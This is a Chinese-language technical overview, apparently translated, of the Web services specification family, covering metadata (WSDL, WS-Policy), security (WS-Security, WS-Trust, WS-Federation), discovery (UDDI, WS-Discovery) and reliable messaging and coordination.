<P>&nbsp;&nbsp;&nbsp; Web服务描述语言，即WSDL——Web Service Description Language，它是被广泛用于描述Web服务基本特征的第一种手段。用WSDL描述的消息被归并为定义基本消息模式的若干操作。这些操作被归并为称作端口的若干个接口，它们详细说明了抽象的服务契约。端口和绑定则用于将portTypes与具体传输和physical 部署信息关联在一起。WSDL描述是自动识别目标服务的所有特征和启用软件开发工具的第一步。WSDL指定请求消息必须包含什么以及响应消息在使用无歧义符号时的显示会是怎样。WSDL文件用于描述消息格式的符号是基于XML模式的。这意味着它既是编程语言中立的又是基于标准的，这使得它很适合于描述可通过多种平台和编程语言来访问的服务接口。除了描述消息内容以外，WSDL还可以定义服务在何处是可用的，以及哪些通信协议被用于与该服务交谈。这意味着WSDL文件可以指定用于编写与某一Web服务进行交互的程序的基本元素。有几种工具可用于读取WSDL文件，以及为编制句法正确的Web服务消息生成所需代码。</P>
<P>&nbsp;&nbsp;&nbsp; 尽管WSDL是一个不错的起点，但它并不足以描述Web服务的方方面面，WSDL只能表示较少的一组属性。Web服务所必需的更详细信息包括：</P>
<UL>
<LI>操作特征：支持SOAP 1.2。 
<LI>使用特征：仅在早9点和下午5点之间可用。 
<LI>安全特征：要访问该服务必需使用Kerberos票。 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 第一代Web服务必须使用专有协议来交换带外（Out of Band）的元数据，这一问题可以使用WS-Policy来解决。WS-Policy提供了一种通用模型和语法来描述和传达Web服务策略。它指定了一个概念基集，它可以被其他Web服务规范使用和扩展，以描述更为广泛的服务需求和功能。WS-Policy引入了一个简单的可扩展语法来表示策略断言（Policy Assertion），以及一个处理模型来解释它们。断言可以合并到逻辑选项中。</P>
<P>&nbsp;&nbsp;&nbsp; 策略断言使编程人员要么在开发时、要么在运行时向服务信息中添加适当的元数据。开发时策略的例子包括消息大小的最大允许值或所支持规范的确切版本，运行时策略的例子包括宕机时的必备服务或某一给定的管理过程（定期的硬件维护）期间Web服务的不可用性。可以对单个的策略断言进行分组，以形成策略选项（Policy Alternative）。策略是策略选项的集合。为了便于进行互操作，策略是根据其XML Infoset表示形式来定义的。为了在保持互操作性的同时减小策略文档的大小，又定义了策略的紧凑形式。</P>
<P>&nbsp;&nbsp;&nbsp; 策略用于传达两个Web服务端点之间的交互条件。满足策略中的断言通常会引发反映这些条件的行为。因此，策略断言评估是识别兼容行为的中心。当且仅当请求者满足要求，即提供了这一功能、与该断言相符时，请求者才支持策略断言——策略的构造块。一般而言，这种决定要使用特定领域的知识来做出。请求者支持策略选项的条件是当且仅当请求者支持选项中的所有断言时，这种决定是使用策略断言的结果机械性地做出的。同样，当且仅当请求者至少支持策略中的一个选项时，请求者才支持策略。一旦策略选项经过评估，该决定也是机械性地做出的。请注意，虽然策略选项是互斥的，但一般来说要确定多个选项是否可以同时得到支持也是不太可能的。</P>
<P>&nbsp;&nbsp;&nbsp; 为了以互操作的形式传达策略，策略表达式（Policy Expression）采用策略的某种XML Infoset表示形式。普通形式的策略表达式是最简单的Infoset；同样，可选的Infoset允许通过大量构造来简洁地表达策略。策略表达式是策略的基础构造块。有两个运算符用于表达断言：All和ExactlyOne。All运算符表示策略选项集中的所有断言都必须适用于要满足的策略断言。ExactlyOne运算符表示策略选项集中只有一条断言必须适用于要满足的策略断言。</P>
<P>&nbsp;&nbsp;&nbsp; 策略层位于WSDL描述之上，并对它进行了扩充。策略与Web服务元数据（如WSDL定义或UDDI实体）的关联是通过使用WS-PolicyAttachment来实现的。策略可以作为其定义所固有的一部分或独立地与资源关联在一起。机制就是针对这些不同目的而定义的。需要特别指出的是，策略也可以与单个的SOAP消息一起使用。如果为某一实体制作了多个策略附件，它们会共同确定该实体的有效策略（Effective Policy）。在WSDL层次结构的不同层次上选用策略时一定要小心，因为层次结构每一层次的最终结果就是一个有效策略。作为自我描述和人所能理解的明确性的一般规则，在策略断言所适用的层次结构的每一层次上详细地重复该策略断言，比简单地依赖于计算有效策略的机制更可取。在一个WSDL文档中，与部署端点的消息交换可以同时包含所有4类主题的有效策略。WS-Policy和WS-PolicyAttachment相结合可以提高应用程序来发现和推出其他服务所支持的策略的能力。添加策略的灵活性是对描述消息交互的WSDL信息的一个重要补充。</P>
<P>&nbsp;&nbsp;&nbsp; WSDL和WS-Policy都定义了元数据格式，但都没指定某一给定服务获得或访问元数据的机制。一般来说，服务元数据可以通过使用许多方法来获取。为了支持服务的自我描述，Web服务架构在WS-MetadataExchange中定义了基于SOAP的元数据访问协议。GetMetadata操作用于检索在请求的端点引用中找到的元数据。Get操作类似，但用于检索不同的元数据：在元数据部分引用，并要在存储它的端点引用中检索的元数据。</P>
<P>&nbsp;&nbsp;&nbsp; 使用WS-MEX来交换的元数据可以描述为资源。资源即可由某一端点引用寻址的任何实体，并且在该端点引用中，该实体可以提供一种其自身的XML表示形式。资源构成了构建Web服务中的状态管理所需的基础。</P>
<P class=indent><B>什么是互操作性概要（Interoperability Profile）<BR></B>&nbsp;&nbsp;&nbsp; 概要（Profile）是一组指导原则，主要针对于核心协议以及Web服务规范的使用。这些指导原则对于规范的通用设计来说是必需的。在某些情况下，开发人员需要额外的帮助来确定使用哪些Web服务特性来满足某一特定需求。互操作性概要还用于解决Web服务规范不够明确的领域中的含糊性问题，以确保所有实施都以相同的方式来处理SOAP消息。</P>
<P class=indent><B>WS-I基本概要</B><BR>第一个Web服务概要是由Web服务-互操作性组织（WS-I，Web Services-Interoperability Organization）发布的。WS-I已经完成了其第一个概要，并简单地称为基本概要1.0。该概要主要基于SOAP1.1和WSDL 1.0的互操作使用来提供指导原则。</P>
<H1>安全性</H1>
<P>&nbsp;&nbsp;&nbsp; 本节介绍Web服务架构中用于提供某一系统内部的消息完整性、身份验证和机密性、安全性令牌交换、消息会话安全性、安全策略表示和服务联盟安全性的规范。提供这些特性的规范是WS-Security、WS-Trust、WS-SecureConversation、WS-SecurityPolicy和WS-Federation。</P>
<P>&nbsp;&nbsp;&nbsp; 安全性是计算机系统的一个基本方面，尤其是那些由Web服务组成的系统。安全性必须是健壮而有效的。因为系统只对消息格式和合法的消息交换作出硬件假设，因此安全性必须基于一致通过的明确机制和假设。安全基础架构还应该具有足够的灵活性，以支持不同组织所需的不同安全策略。</P>
<P>&nbsp;&nbsp;&nbsp; 当安全传输可用于通信Web服务，如安全套接层（SSL）和传输层安全性（TLS）之间时，构建安全性解决方案就得到了简化。有了安全传输，这些服务就不需要参与单个消息的完整性和机密性的维护；它们可以依赖于底层传输。不过，现有的传输级安全性是一个仅限于点对点消息传递的解决方案。如果在使用安全传输时存在中介，则最初发送者和最终接收者需要相信这些中介能够帮助提供端到端的安全性，因为每个网段都是安全的。除了要明确地信任所有中介外，还必须考虑到其他风险，如消息的本地存储和中介受到损害的可能性。</P>
<P>&nbsp;&nbsp;&nbsp; 为了最大限度地扩大Web服务的作用范围，当通信端点不相信中介时，必须提供端到端的安全性，那就需要更高级别的安全协议。作为另一种选择，端到端消息安全性比点对点传输级安全性具有更丰富的内涵，因为它支持Web服务所需的基于SOAP的松耦合、联合、多传输和可扩展环境。这种功能强大而又灵活的基础架构可以通过现有技术和Web服务协议的组合来开发，同时还可以缓解与点对点消息传递相关联的许多安全风险。</P>
<P>&nbsp;&nbsp;&nbsp; 尽管Web服务的安全需求很复杂，但人们还没有发明新的安全机制来满足基于SOAP的消息传递的需要。现有的分布式系统安全性方法，如Kerberos票、公钥加密技术、X.509证书等已经够用了。只有应用现有的SOAP安全方法时，新机制才是必需的。这些新安全协议的设计充分考虑了可扩展性，以便将来能够加入新的方法。一个主要的设计目标是要提供自我描述安全性属性（为包括SOAP在内的Web服务架构而设计）机制。</P>
<P>&nbsp;&nbsp;&nbsp; Web服务安全性的基础是输入消息要证实一组关于发送者、服务或其他资源的断言这一需求。我们称之为断言或安全性断言。典型的安全性断言包括身份、属性、关键财产、权限或功能。这些断言是用包裹在XML中的二进制安全性令牌编码的。在传统的安全性术语中，这些安全性令牌表示功能和访问控制的混合。很多方法都被用于创建安全性令牌。Web服务可以从本地信息构建定制的安全性令牌。反过来，安全性令牌也可以从X.509认证机构或Kerberos域控制器等专业服务检索。为了实现服务之间的通信自动化，需要一个表达安全需求的方法。</P>
<P>&nbsp;&nbsp;&nbsp; 服务可以使用WS-SecurityPolicy中所指定的策略断言来表达其安全需求。通过检索这些策略断言，应用程序可以构建符合目标服务需求的消息。断言、安全性令牌和策略所提供的这组特性以及从Web服务检索它们的能力非常强大。这种普通的Web服务安全模式支持一些更具体的安全模式，如基于身份的授权、访问控制列表和基于功能的授权。它允许使用现有技术，如X.509 公钥证书、基于XML的令牌、Kerberos共享的秘密票和密码摘要。这种普通模型对于构建使用更复杂的方法来进行更高级别的密钥交换、身份验证、基于策略的访问控制、审核和处理复杂的信任关系的系统已经足够。也可以使用代理和中继服务。例如，可以构建中继服务来加强位于信任边界的安全策略；出界的消息被加密，而界内的消息不加密。以前的解决方案没有提供这种灵活性和完善程度。附录C中所描述的常见安全攻击包含了系统威胁的基本分类，而这些系统威胁是在选择Web服务安全特性时应认真加以考虑的。</P>
<P>&nbsp;&nbsp;&nbsp; 本节的余下部分将探讨Web服务安全模式的应用。两个重要主题是安全通信和安全应用。没有假定安全的消息传输，这也不是安全的Web服务所必需的。</P>
<H2>消息完整性和机密性</H2>
<P>&nbsp;&nbsp;&nbsp; 消息级安全性是端到端安全性的关键构造块。使用消息级安全性时，无需传输级安全性。对消息级安全性的要求是消息完整性、消息身份验证和机密性。消息完整性确保消息不能在不知不觉中被更改。使用XMLSignature可确保消息的修改能够被察觉。消息身份验证可识别发送消息的主体。如果使用了公钥加密，就可以确定主体的唯一身份。将公钥加密与经受信任源认证的密钥一起使用可以实现这种身份验证。不过，如果使用了对称密钥加密，情况就不一样了——只有知道共享密钥的主体才能被识别。消息机密性可确保在传输期间未经授权的第三方不能阅读消息。SOAP消息是通过使用XMLEncryption [XMLENC]和安全性令牌来保证机密性的。</P>
<P>&nbsp;&nbsp;&nbsp; 完整性、身份验证和机密性机制将初始消息（或该消息的某些部分）作为输入，将生成的数据（如校验和）作为输出。例如，在某种简单情况下，XML元素的签名可能会作为XML元素所有字符的散列的非对称加密来实现。然后该加密散列可以存储在该消息中，并在该消息中传送。可以将XML文档看作字符串。就像XML签名一样，逐字符地比较也是非常重要的安全性操作。一字之差会导致不同的结果。串行化是用于表示“在线”对象的方法。例如，串行化可用于创建SOAP消息的XML表示。不同串行化软件所导致的任何无关紧要的排字差异都会被消息处理软件忽略，但会对安全性软件产生很大影响。XML消息的Infoset表示形式改进了这一问题。要使XML签名生效，消息必须转换成一个对所有方都是一致的XML表单。规范化是一个术语，来描述用于生成一致的换行符、制表间隔、属性排序和结束标签样式等非关键信息视图的方法。签名包含了用于使消息接收者能够完全像发送者那样处理安全信息的规范化方法。某一服务所使用的特定的规范化方法是要放置在一个WSDL portType绑定或WSDL端口的有用的策略断言。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Security指定了消息完整性和机密性机制以及单一的消息身份验证。对于消息完整性，该规范详细描述了加密签名是如何表示并与SOAP消息的特定部分关联的。该方法允许任意格式良好的消息片段拥有单独的签名。与之类似，机密性是通过结构良好的消息片段的加密来实现。身份验证是使用数字签名来实现的。WS-Security规范描述了当前常用的安全机制，也没有排除将来添加新机制的可能性。因为SOAP处理模型使用Header元素来作出处理决定，所以是决定SOAP消息中的哪些元素需要加密时一定要多加小心。</P>
<P>&nbsp;&nbsp;&nbsp; 在决定要对哪些元素进行加密以及要使用哪些加密算法时，Web服务设计人员一定要清楚消息是如何处理的。当某些特定的Header元素需要由第三方或中介来处理时，这些决定就更为重要了。如果这些参与者对适当的解密数据或对在加密XML元素时所使用的约定毫无所知，它们将无法实现正确操作。此外，每个处理节点对消息中包含的安全信息都必须有个一般的了解。加密某一Header中XML元素的一个自然选择就是对它进行完全加密，用初始元素替代加密数据类型的元素。这种简单的方法有些缺点。例如，中介不太好确定必须处理哪些元素（带有mustUnderstand="1"属性的元素）。另外，当元素类型发生变化时，确定其初始类型比较困难。另一种方法是对元素进行转换，使得进行正确的SOAP处理所需的所有关键属性都保持不变，且对初始元素进行了加密，并放在一个特殊的子元素中。这种方法的优点是即使不知道如何解密元素的中介也能实现正确的处理。这种方法的一个缺点是它要求所有参与者都了解用于表示初始元素的约定。尽管WS-Security目前没有对这种方法提供指导，但我们预期将来会提供的。相比之下这种方法更好一些，因为它可实现所有SOAP Header元素的正确处理。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Security的概要规范中描述了几种安全性令牌。针对表示用户名的令牌、X.509证书和基于XML的安全性令牌的概要都已经开发出来。基于XML的安全性令牌包括安全性断言标记语言（SAML，Security Assertion Markup Language）和可扩展权限标记语言/权限表达语言（REL，Rights Expression Language）。Kerberos票的使用规范还未成型。</P>
<P class=indent><B>WS-I基本安全概要<BR></B>&nbsp;&nbsp;&nbsp; WS-I将要发布的最新的互操作性概要之一是基本安全概要（BSP，Basic Security Profile）。该概要提供了WS-Security和各种安全性令牌，如Username和X.509证书令牌的实现指导。该概要用于补充和完善WS-I基本概要。</P>
<H2>基于安全令牌的信任</H2>
<P>&nbsp;&nbsp;&nbsp; 安全性令牌是提供端到端安全解决方案所必需的。这些安全性令牌必须在消息处理的参与者之间实现直接或间接共享。各参与者还必须确定断言的凭证是否可信。这些信任关系以安全性令牌的交换和代理为基础，并存在于已经确定的支持信任策略中。例如，某一代理的令牌有多少可信，是由系统管理员和他们确定的信任关系决定的。提供安全性令牌的服务五花八门。这是各种底层安全技术首先为Web服务所使用的领域。为了提供一种与安全技术无关的统一标准的解决方案，新协议是为信任域之间的安全性令牌交换而设计的。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Trust以用于请求、发出和代理安全性令牌的协议对WS-Security进行了补充。需要特别指出的是，其中定义了用于获取、发行、更新和验证安全性令牌的操作。该规范的另一个新特性是建立新信任关系的机制。IPsec或TLS/SSL之类的网络和传输保护机制可以与WS-Trust结合，以适应不同的安全性需求和情况。</P>
<P>&nbsp;&nbsp;&nbsp; 安全性令牌可以直接从某一适当的发行者处申请获得，或者通过委托某一受信任的第三方来获取。令牌还可以出乎意料地获得。例如，令牌可以从某一安全权威机构发送到一个并未明确申请该令牌的某一方。为此，系统管理员要确定初始信任关系，如将某一给定服务指定为信任的根服务。这种方法类似于目前Web上用于自展安全性的方法。从该服务获得的所有令牌受信任的程度与受信任的根服务本身相同。例如，如果某根服务只有断言A和B得到信任，且某一消息包含断言A、B和C，则该消息中只有断言A和B得到信任。配置灵活性是通过信任关系授权提供的。为了处理在退回或发出安全性令牌之前需要各方之间的一个交换集的情况，定义了用于验证、协商和交换的方法。一种称为“challenge”的特殊形式的交换为某一方证明它拥有与某一令牌关联的密钥提供了一种方法。交换的其他类型包括传统的协议隧道。WS-Trust详细说明了如何扩展该规范，以支持更多的令牌交换协议，而不仅仅是所给出的这两个例子。</P>
<P>&nbsp;&nbsp;&nbsp; 表示安全性断言的安全性令牌是由一个受信任根或一个通过一个授权链的根发行的。这些安全性断言用于验证消息符合正在施行的安全策略。它们还验证断言者的属性是通过签名来校验的。在代理的信任模式中，即由受信任的中介分配安全性令牌的模式中，签名可能不验证断言者的身份，而验证中介的身份。该中介可能只断言者的身份。</P>
<H2>安全会话</H2>
<P>&nbsp;&nbsp;&nbsp; 用于消息身份验证和机密性的某些机制可能会耗用大量的资源。需要特别指出的是，许多加密技术都会显著消耗处理能力。当消息的安全性是逐一得到保证时，这些代价通常是无法避免的。不过，当两个Web服务进行许多消息的交换时，可以使用比WS-Security中定义的方法更为高效和健壮的消息机密性方法。这些方法是基于对称加密的，在保证消息会话的安全时应使用它们。</P>
<P>&nbsp;&nbsp;&nbsp; WS-SecureConversation在基于共享密钥（如对称加密）的两个通信方之间定义了一个安全上下文。在整个会话期内，安全上下文在各通信方之间始终是共享的。会话密钥由共享密钥派生而来，用于解密在会话中发送的单个消息。安全上下文在线表示为一个新的安全性令牌类型（即SCT ，Security Context Token）。</P>
<P>&nbsp;&nbsp;&nbsp; 规范为建立安全会话各方之间的安全上下文定义了3种不同方法。第一种，由安全性令牌服务创建，且必须由会话发起方提取并传送。第二种，通信一方创建安全上下文并通过消息传递给另一方。第三种，通过协商和交换创建安全上下文。Web服务会选择最能满足其需要的方法。必要时可以对安全上下文进行修正。更新安全上下文的一个典型例子是延长安全上下文的截止时间。安全上下文令牌隐含或包含了一个共享密钥。该密钥用于签名、加密消息。当使用共享密钥时，通信各方可以选用不同的密钥派生模式。例如，可以派生出4个密钥，这样双方便可以使用单独的密钥来签名和加密消息。为了保证密钥未曾用过和保持高度的安全性，应使用后续的派生密钥。使用这种方法来保证会话的安全性是一种更好的选择。WS-SecureConversation规范定义了一种方法来指示给定消息正在使用哪些派生密钥。所有派生算法都是通过URI来识别的。</P>
<H2>安全策略</H2>
<P>&nbsp;&nbsp;&nbsp; WS-SecurityPolicy通过用一种符合WS-Policy的语言指定安全策略断言来完善WS-Security，其6种断言涉及安全性令牌、消息完整性、消息机密性、消息对SOAP中介的可见性、对安全Header的约束和消息寿命。例如，某一策略断言可能要求所有消息都使用某一权威机构提供的公钥来签名，或该身份验证要基于Kerberos票。</P>
<H2>系统联盟</H2>
<P>&nbsp;&nbsp;&nbsp; 除了我们已经介绍的方法以外，应用程序安全性还需要更多的方法。例如，在某一信任域中有效的身份在其他信任域中很可能没有意义。要让不同信任域中的服务能够验证身份的有效性，就需要适当的机制。WS-Federation定义了一些机制，以支持身份、帐户、属性、身份验证和身份验证信息跨信任域的共享。利用这些机制，多个安全域可以通过在由多方参与的Web服务之间支持和代理身份、属性和身份验证的信任而结成联盟。该规范扩展了WS-Trust模型，使属性和笔名可以被整合到令牌发行机制中，从而形成一种多域身份映射机制。这些机制都支持单点登录、退出和笔名，并描述了专业服务对于属性和笔名的作用。</P>
<P>&nbsp;&nbsp;&nbsp; 通过身份联盟，很多要求都可以得到满足。就拿将一名员工与其雇主关联起来的例子来说，公司A的Jane从OfficeSupplyStore.com进行采购，公司A和OfficeSupplyStore.com之间有一个采购合同。因为Jane的身份是与公司A关联的，所以可以让她来依据该合同来进行采购。第二个例子是将一个人映射到多个笔名。大家可能只知道Joe使用joe@companya.com工作。他还可能有其他身份，如joe_bloggs@hotmail.com和josephb@cornell.edu。通过身份联盟，系统可以确定这些身份都是同一个Joe。</P>
<P>&nbsp;&nbsp;&nbsp; Web服务联合安全架构中定义了两个一般的请求者（消息发送者）类：被动和智能（活动）。被动请求者是只使用HTTP且从来不发出安全性令牌的服务。智能请求者是能够发出包含诸如WS-Security和WS-Trust中所描述的那些安全性令牌的消息的服务。传统的基于HTTP的Web浏览器就是被动请求者的一个例子。定义这两种请求者的行为的概要规范现已开发出来。对于智能请求者，active请求者概要详细说明了单点登录、退出和笔名是如何通过使用SOAP消息而整合到Web服务安全模型中的。实际上，该概要描述了在智能请求者上下文中实现WS-联盟中所描述的模式的方法。它详细说明了各种安全性令牌的要求。作为这些安全性令牌要求中之一的一个例子，当不使用安全通道时，X.509证书的整个令牌必须包含权威机构的名称和签名。该概要还要求X.509令牌包含主题标识符，以唯一地识别授之以该令牌的主题。</P>
<H1>发现（Discovery）</H1>
<P>&nbsp;&nbsp;&nbsp; 本节介绍Web服务架构中用于定位网络上Web服务和确定该服务可用性的功能组件：UDDI和WS-Discovery。Web服务发现是在没有人工干预的情况下实现服务连接自动化的关键。Web服务发现方法反映了计算机系统中查找信息的两个最常见方法：查看一个众所周知的目录，或将一个请求广播给所有可用的监听器。UDDI注册表就相当于该目录，发现协议用于广播请求。</P>
<H2>目录（Directory）</H2>
<P>&nbsp;&nbsp;&nbsp; 通用描述发现和集成协议，即UDDI——Universal Description Discovery and Integration Protocol，指定了一个用于查询和更新Web服务信息通用目录协议。该目录包含关于服务提供商、它们所托管的服务以及这些服务所实施的协议的信息。该目录还提供了用于向任何注册信息添加元数据的方法。如果Web服务信息存储在众所周知的位置时，则可以使用UDDI目录方法。一旦找到目录，就可以发送一系列查询请求以获取想要的信息。UDDI目录位置通常是通过系统配置数据从带外（Out of Band）获得的。</P>
<P>&nbsp;&nbsp;&nbsp; 对于如何部署UDDI注册表，Web服务提供商有很多不同的选择。部署方案不外乎3个类别：公共、企业外和企业内。为了支持公共部署，以Microsoft、IBM和SAP为首的一组供应商主持推出了UDDI企业注册表[UBR，UDDI Business Registry]。UBR是一个可跨多个主持企业复制的公共UDDI注册表，它既是基于Internet的Web服务资源，又是Web服务开发者的一个试验台。尽管目前公共UDDI实施已经受到了最大关注，但UDDI的早期采用者仍更倾向于使用企业外和企业内方法。在这两种部署情况下，企业要部署一个专用注册表，而且更严密地控制注册信息类型也是可能的。这些专用注册表可能只供一个企业使用，也可能供若干组业务合作伙伴使用。UDDI还为注册表间的复制和跨部署的信任联盟定义了协议。使用这些协议进一步增加了可用于实施者的部署方案数量。对于所有的部署方案，UDDI目录都包含了Web服务及其托管地的详细信息。UDDI目录项有3个主要部分——服务提供商、所提供的Web服务和实施绑定。其中的每一部分都逐渐提供有关Web服务的更详细信息。</P>
<P>&nbsp;&nbsp;&nbsp; 大部分的一般信息都描述服务提供商。该信息不针对Web服务软件，而是针对直接负责该服务的开发者或实施者。服务提供商信息包括名称、地址、联系人及其他管理细节。所有的UDDI项都有多个元素来支持多语言描述。可用的Web服务列表存储在服务提供商项中。这些服务可能是根据它们的预定用途来组织的：它们可能被分成不同的应用领域、地区或任何其他适用的模式。存储在UDDI注册表中的服务信息只包含服务描述和一个指向它所包含的Web服务实施的指针。由其他提供商托管的服务链接称为‘服务映射（Service Projection）’，也可能被注册。</P>
<P>&nbsp;&nbsp;&nbsp; UDDI服务提供商实体的最后部分是实施绑定。该绑定将Web服务项与确切的URI关联起来，以确定在何处部署服务，它还指定了访问协议，并包含所实施的确切协议的参考资料。这些细节对于开发人员编写调用Web服务的应用程序已经足够。详细的协议定义的是通过一个称为“类型模型（即tModel，Type Model）”的UDDI 实体提供的。在许多情况下，tModel都会引用一个描述SOAP Web服务接口的WSDL文件描述，但tModel的灵活性也几乎可以描述任何种类的资源。对于在UDDI中注册的每一个提供商或服务来说，来自标准分类学（如NAICS和较古老的美国标准行业代码）或其他身份识别方案（如Edgar Central Index Key）的元数据都可用于分类信息和提高搜索准确性。可用的分类学和标识符方案集作为任何实施的一部分，是可轻松扩展的，因此可以对其进行定制以支持任何特定的地域、行业或企业需求。</P>
<H2>动态发现（Dynamic Discovery）</H2>
<P>&nbsp;&nbsp;&nbsp; 动态Web服务发现是以不同方式提供的。作为在已知注册表中存储信息的另一种方案，动态发现的Web服务会明确地声明它们的到达、离开网络。WS-Discovery为通过多路广播消息来声明和发现Web服务定义了协议。当Web服务连接到网络时，它通过发送一条Hello消息来声明它的到达。在最简单的情况下，这些声明的跨网发送使用多路广播协议——我们称之为自组织网络。该方法还最大限度地减少了网络上的轮询需要。为了限制网络信息流通量和优化发现过程，系统可能会包含一个发现代理。发现代理用一个众所周知的服务位置取代了发送多路广播消息的需要，从而将自组织网络转变成托管网络。利用配置信息，代理服务集合可以连接在一起，从而将发现服务扩展到多组服务器，从一台机器扩展到多台机器。</P>
<P>&nbsp;&nbsp;&nbsp; 因为发现代理自身也是Web服务，它们可能会用自己专用的Hello消息来声明它们的到场。接收该消息的Web服务然后可以利用该代理的服务，而无需再使用干扰较多的一对多发现协议。当服务离开网络时，WS-Discovery会指定一个Bye消息以发送给网络或发现代理。该消息通知网络上的其他服务离开的Web服务不再可用。</P>
<P>&nbsp;&nbsp;&nbsp; 为了完善这种服务声明和离开的基本方法的不足，WS-Discovery定义了两个操作——Probe和Resolve，以定位网络上的Web服务。对于自组织网络，Probe消息被发送给多路广播组，并且与该请求匹配的目标服务会将响应直接反馈给请求者。对于利用发现代理的托管网络，Probe消息则以单路广播方式发送给发现代理。如果按名称定位Web服务，则使用Resolve消息。Resolve消息只以多路广播模式发送。Resolve 类似于地址解析协议，即ARP，它将IP地址转换成其对应的物理网络地址。WS-Discovery规范还支持这样的系统配置：将Probe消息发送给一个已经通过其他管理方法建立起来的发现代理，如通过使用众所周知的DHCP记录。</P>
<P>&nbsp;&nbsp;&nbsp; 动态发现服务的能力实现了Web服务管理的自举。与WS-Eventing及其他协议相结合，更复杂的管理服务也可以通过使用这种动态发现基础架构来构建。动态发现还将Web服务架构扩展到设备，如那些目前可能实施通用即插即用（UPnP）协议的系统——这是使该架构真正实现通用的重要一步。例如，借助WS-Discovery和WS-Eventing，打印机或存储介质等设备可以作为Web服务纳入到系统中，而且无需专门的工具或协议。</P>
<P class=indent><B>Web服务设备概要规范<BR></B>&nbsp;&nbsp;&nbsp; Web服务设备概要规范对在资源受限的设备上应该实施Web服务架构规范家族的哪个子集提供了指导。该概要力图在由于资源限制而作出折衷时，在可用的丰富功能和最重要的功能之间找到平衡。</P>
<H1>一致性协议——可靠的消息传递和事务</H1>
<P>&nbsp;&nbsp;&nbsp; 本节介绍可以提供可靠的消息传送、事务行为和能够在一组Web服务之间进行显式协调的Web服务架构组件。定义这些功能的规范是WS-ReliableMessaging、WS-Coordination、WS-AtomicTransaction和WS-BusinessActivity。</P>
<P>&nbsp;&nbsp;&nbsp; 当多个Web服务必须完成工作的某一共同单元或依照某种共同的行为进行操作时，对于使用哪个协议必须达成共识。Web服务之间这种最低限度的协调是不可避免的。协调协议还必须能够确定并同意已达成一个共同目标。Web服务之间的每一个交互都可以看作一种协调。一致性协议为该架构提供了一个改进的机会，即参与者服务在它们准备共同完成的任务方面将获得成功。在传输丢失了消息和服务失常时，Web服务架构仍然能够正常工作。</P>
<P>&nbsp;&nbsp;&nbsp; 任何多方协调都可以通过接连地随需加入更多参与者从两方协调逐步发展而成。两方协调可能是自发的，也可能需要一个指定的协调者。广泛使用的自发协调协议的一个例子是同步请求—响应消息传递模式。这是一致性协调的最简单形式之一；对于每个工作请求，接收方Web服务必须完成所有预期工作之后才能向请求者返回数据。双方都遵循这种严格的模式，无需显式协调服务。</P>
<H2>可靠的消息传递</H2>
<P>&nbsp;&nbsp;&nbsp; 很多情形都可能中断两个服务之间的消息交换。当使用不可靠的传输协议（如HTTP 1.0和SMTP）来进行传输或当消息交换跨多个传输层连接时，这更会成为一个问题。消息可能会丢失、被复制或重新排序，Web服务可能会失败并失去易变状态。WS-ReliableMessaging是一个基于特定的传送保证特征实现可靠消息传送的协议。该规范定义了3个可结合使用的不同断言：</P>
<UL>
<LI>At-Least-Once Delivery（至少一次传送）：每条消息至少传送一次。 
<LI>At-Most-Once Delivery（至多一次传送）：不传送重复的消息。 
<LI>In-Order Delivery（依次传送）：按消息的发送顺序传送消息。 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 至少一次和至多一次保证相结合的结果是恰好进行一次传送。由于Web服务架构的设计与传输无关，因此所有传送都与所用的通信传输工具或其组合无关。由于开发人员必须预测的潜在传送失败模式数量减少，故使用WS-ReliableMessaging可以简化系统开发。</P>
<P>&nbsp;&nbsp;&nbsp; 可靠的消息传送不需要显式协调者。当使用WS-ReliableMessaging时，参与者必须根据SOAP消息Header中所发送的信息识别协议。作为一个组传输的消息集合称为消息序列（Message Sequence）。消息序列可以由发起者/发送者或Web服务创建，当建立一种双向关联时通常由它们共同创建。序列是使用CreateSequence和CreateSequenceResponse消息显式创建的。当想要的最终结果是用两个单向序列来充当一个双向序列时，发起者将提供Web服务所要使用的序列。该序列的ID由发起者包含在CreateSequence消息中。</P>
<P>&nbsp;&nbsp;&nbsp; WS-ReliableMessaging中定义了几个策略断言。这些策略断言用WS-Policy中定义的方法来表示。</P>
<P>&nbsp;&nbsp;&nbsp; 可靠的消息传递协议简化了开发人员为在传输不断变化的情况下传输消息而必须编写的代码。也就是说，底层基础架构可以对消息在端点之间的正常传输进行验证，必要时还会转发消息并检测重复。应用程序不需要任何附加逻辑来处理提供传送可能需要的消息转发、重复消息的消除、消息重新排序或消息确认。WS-ReliableMessaging的实施是跨发起者和服务分布的。那些非‘在线’可见的特征，如消息传送顺序，是通过实施WS-ReliableMessaging规范来提供的。虽然由传输损失导致的消息重发等特征是通过不为应用程序所知的消息传递层来处理的，其他端到端特征（如依次传送）都要求消息传递基础架构和接收应用程序相互协作。当发送者希望按发送顺序提供消息排序时，在接收者一方却按接收顺序提供消息排序的情况是依次传送的一种不正确实施——注意到这一点是很有趣的。当发送者希望按接收顺序提供消息顺序时，在接收者一方按发送顺序提供消息顺序的情况，是依次传送的一种正确实施。</P>
<H2>指定的协调者</H2>
<P>&nbsp;&nbsp;&nbsp; N路协调协议的某些族需要一个指定的协调者来引导一个工作单元通过一系列合作服务，一个例子是活动必须在不希望被同时连接的服务之间协调。只要每个参与者和协调者在某一时刻通信，协调就可能发生，结果就可能达成一致。Web服务架构为指定的协调者定义了某些简单操作。</P>
<P>&nbsp;&nbsp;&nbsp; WS-Coordination规范定义了一个可扩展的协调框架来支持需要显式协调者的情况。该协议引入了一个称为协调上下文（Coordination Context）的SOAP头块，用以唯一地识别联合工作中将要着手进行的部分。为了启动工作的接合部分，Web服务会向一个或多个目标服务发送协调上下文。收到协调上下文后，接收方服务会得到提示，说有联合协作请求提出。协调上下文中包含了足够的信息，请求接收者可以利用这些信息来确定是否参与该工作。协调上下文中包含的确切信息根据被请求工作的种类的不同而变化。</P>
